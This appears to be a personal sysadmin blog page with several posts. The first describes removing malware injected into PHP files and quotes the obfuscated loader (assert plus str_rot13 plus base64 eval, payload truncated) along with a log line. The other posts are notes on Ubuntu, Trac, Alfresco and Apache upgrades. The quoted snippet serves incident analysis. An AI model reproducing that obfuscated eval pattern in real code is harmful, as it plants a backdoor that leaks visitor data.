Battle against injected PHP

My main personal web server became infected with some effin malware that was injected it very nearly every single .php script on the server. The injected code was basically:

//###=CACHE START=###

$strings = "as"; $strings .= "se";  $strings .= "rt"; $strings2 = "st"; $strings2 .= "r_r";  $strings2 .= "ot13"; $gbz = "riny(".$strings2("base64_decode");
$light =  $strings2($gbz.'("nJLtX...."));'); $strings($light);
//###=CACHE END=###

This is kind of beautiful to me, it took me a little while to figure out what it does. In effect it causes basic system info for anyone browsing sites on that server to be sent off to some other php script on another server. At first I altered the server and my network to prevent any traffic from reaching the intended target. Instead I captured the traffic so I could get a look at the volume of it. Here’s an example apache log message generated by someone browsing an infected site:

- ( - - [13/Nov/2016:14:01:20 -0700] "GET /get.php?ip= HTTP/1.0" 404 466 "-" "-"

After kind of a lot of effort, I came up with a script that purged this malware from my server’s file system. SUuuuuure I could have restored from backup, but that’s not nearly as interesting or dangerous.

Here’s the searchAndDestroy script I came up with.

Ubuntu 14.04 on Utilite Pro

To the chase… It took me a long time to find this, but someone’s made a guide for building Ubuntu 14.04 from scratch for the Utilite. But better still, they’ve included a dropbox location to fetch images from.

Here’s the URL to the build guide.

Here’s the URL to the download directory.

For installation, I’m ripping-off the Arch installation instructions here.

The key step of the installation process I kept pulling up that guide to confirm I’m recalling correctly is: bsdtar -xpf ArchLinuxARM-utilite-latest.tar.gz -C root

Dear Diary: Running Trac and upgrading to Ubuntu Server 14.04

I’m a fairly heavy user of trac. I’ve got various software projects I organize using trac. I decided to upgrade one of my Ubuntu 12.04 servers to Ubuntu 14.04 and of course ran in to the typical apache2 headaches that are born out of this particular transition.

After remembering to rename my virtual host files with .conf extensions (I find that change annoying as hell on its own), I kept running aground with an Internal Server Error message to which I couldn’t even find a hint in my logs, even after cranking up the verbosity.


Screen Shot 2014-09-17 at 6.00.23 PM



Read more “Dear Diary: Running Trac and upgrading to Ubuntu Server 14.04”

My Diary: Upgrading Alfresco Installations

Screen Shot 2014-04-11 at 10.10.58 PMHere’s my diary from the “epic” experience of simply trying to upgrade Alfresco installations from 4.2.c to 4.2.f. I found the community documentation to be dated and had minimal confidence in its current validity. Still, it helped. These are my final notes on the process and in actuality there were a lot of wrong turns I made along the way before landing with the below. I spent like 5 hours working this out. Crazy.

In my case, my 4.2.c installation was performed by the .bin installer from the Alfresco website. Similarly, my 4.2.f installation used the .bin install method as well.

Note my alfresco installations are located on my server under

  • /opt/alfresco-4.2.c/
  • /opt/alfresco-4.2.f/

My original alfresco installation had an init script created to run it, named alfresco.

Read more “My Diary: Upgrading Alfresco Installations”

My Diary: on running PHP 5.5+ & Apache 2.4 on Ubuntu 12.04

I’ve been working on migrating a Moodle 2.4+ installation from a rickety old Ubuntu 10.04 server on Amazon EC2 to a fresh machine as I can’t seem to update the original server to 12.04, which has newer PHP packages I require to run Moodle 2.6+, which I want specifically due to a user stats plugin I want installed.. So with one thing leading to another, I ran aground recently when I upgraded Ubuntu’s 12.04 Apache2 version to Apache 2.4 (from some PPA). This resulted in my site no longer working, it pretty much just said access denied. This was due to some new Apache security setting that my migrated Virtual Host config lacked.

Should I run in to later, I’m throwing down steps I’ll follow to avoid the same ice bergs that costs me to burn a little more coffee than I’d prefer….

Step 1) Install PHP5.5/Apache2.4 via PPA:  sudo add-apt-repository ppa:ondrej/php5;sudo apt-get update;apt-get -y upgrade

Step 2) Check VHost Config’s Directory sections, add  Require all granted  if not present.

Here’s the key stuff I used to find this approach in the first place: